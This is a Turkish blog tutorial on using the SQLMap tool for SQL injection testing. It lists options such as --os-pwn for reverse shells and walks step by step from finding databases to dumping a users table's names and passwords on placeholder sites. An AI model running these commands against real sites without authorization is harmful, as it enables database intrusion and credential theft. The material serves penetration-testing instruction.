SQLMap sızma testi yaparken veritabanı için en çok kullandığımız araçlardandır.
Tek tek veri çekme işlemi denemektense bu işi en basit hale getirmişler.

Sqlmap Nerde Bulunur ?

Sqlmap‘ı bir çok penetrasyon için hazır işletim sisteminde , uygulamalarında veya python(2.7.x) yüklü her cihazda kullanabilirsiniz.
İndirmek için : Tıkla!

Sqlmap Ne İşe Yarar ?

SQLMap sitenize yüklediğiniz yazılımı web penetrasyon testi olan SQL Injection testinden geçirmenize olanak sağlar.
Tabi bunu kötüye kullanıp başkalarının sitesinde kullanmakta sizin elinizde.
Sqlmap ile veritabanı üzerinden shell yükleyebilir , makinede yetkili hale gelebilir ve en çok kullanılan işlevi olan veritabanı bilgilerini okuyabilirsiniz.

Nasıl Kullanılır?

Sqlmap kullanmak terminal başında saatler geçirmek ile özetlenebilinir.
Time Based açıkları sizi zamanınızdan çalıp çıldırtırken , error based ile karşılaştırınca sevindirir.
Çeşitlerini daha önceki yazımda anlatıp kısaca değinmiştim. Tıkla!

Kullanımı : python sqlmap.py [komut]  şeklindedir.


Kali Linux terminalinde sqlmap yazdığınızda üstteki ekran sizi karşılar. Sqlmap yazdıktan sonra komutlar vermenizi ister.

-u veya --url = Saldırı yapılacak urlyi belirtir.
--data = Post saldırılarında saldırırken gönderilecek veriyi belirtir.
--is-dba = Veritabanı üzerinde yetkili olup olmadığını kontrol eder.
--os-pwn = Meterpreter gibi backconnect payloadları ile ters bağlantı almaya çalışır.
--flush-session = Sızma işlemi başarıyla tamamlandı ama siz bir yerleri kaçırdınız. Bu saldırı için hafızasını temizler.
--technique = Saldırı tekniğini belirtir bunlar : E=Error , B=Boolean , U=Union , S=Stacked ve T=Time-Based.
--risk = 1’den 3’e kadar seviyesi bulunur.Daha fazla odaklanmasını sağlar bunlar = 2=Time-Based , 3=Or-Based.
--level = 1’den 5’e kadar seviyesi bulunur.Daha fazla leveli arttırıp saldırmasını sağlar. 2=HTTP-Cookie, 3=HTTP-User-Agent ve üstü 4,5.
--dbms= Otomatik algılaması yerine işini kolaylaştırırsınız. “Mysql,Oracle,IBM DB2,PostgreSql” gibi …
--random-agent = Rastgele HTTP kullanıcısı üzerinden deneme yapar.
--help = Help komutu ile de yardım menüsünden detaylı bilgi alabilirsiniz.

Örnekler :

Site 1 üzerinde bir makale okurken GET parametresini kullanarak bir SQL Injection açığı yakaladınız. Veriyi şöyle çekersiniz.
sqlmap -u site1.com/makale.php?oku=1 --dbs = –dbs komutu ile saldırıyı başlattınız.
Ve karşınıza db isimleri geldi.
*information_schema
*blogum
Sizi ilgilendiren kısmın blogum olduğunu düşünüyorum.
sqlmap -u site1.com/makale.php?oku=1 -D blogum --tables = Diyerek Veritabanındaki tabloları listelemenizi istediniz.
Karşınıza Tablolar geldi.
*kullanicilar
*makaleler
sqlmap -u site1.com/makale.php?oku=1 -D blogum -T kullanicilar --columns = Diyerek kolonları çekiyoruz ve daha derine iniyoruz.
*kadi
*sifre
*tamadi
sqlmap -u site1.com/makale.php?oku=1 -D blogum -T kullanicilar -C kadi,sifre --dump = Diyerek kullanıcı adı ve şifre kolonunun içini çekiyoruz.
kerem
11aa22bb
Şeklinde bir son tablo bizi karşılıyor ve bilgileri elde etmiş oluyoruz.

--dbs = Veritabanını bul.
--tables = Tabloları ver.
--columns = Kolonları ver.
--dump = Veriyi çek.
ve en önemlisi bir sonraki aşamada -D, -T , -C ve --dump  şeklinde devam edilecek bilgiyi belirtmeniz.

Örnek2 : Yukardakine benzer bir site de gezerken. Burpsuite kullanarak POST açığı yakaladınız.Aşağıdaki tekniklerden faydalanarak verileri çekmelisiniz.Bu sefer –dbs , -T ,-C gibi aşamaları geçip sadece --data parametresini tanıtacağım.

sqlmap -u site2.com/makale.php --data="oku=1&baslik=Makalem1&gonder=oku+makale"--dbs = Şeklinde post verisini tanıtıp veriyi çekme işlemini başlattık.

*Site2’de özellikle burpsuite kullandık çünkü POST verilerini aracı programlarla görebilirsiniz.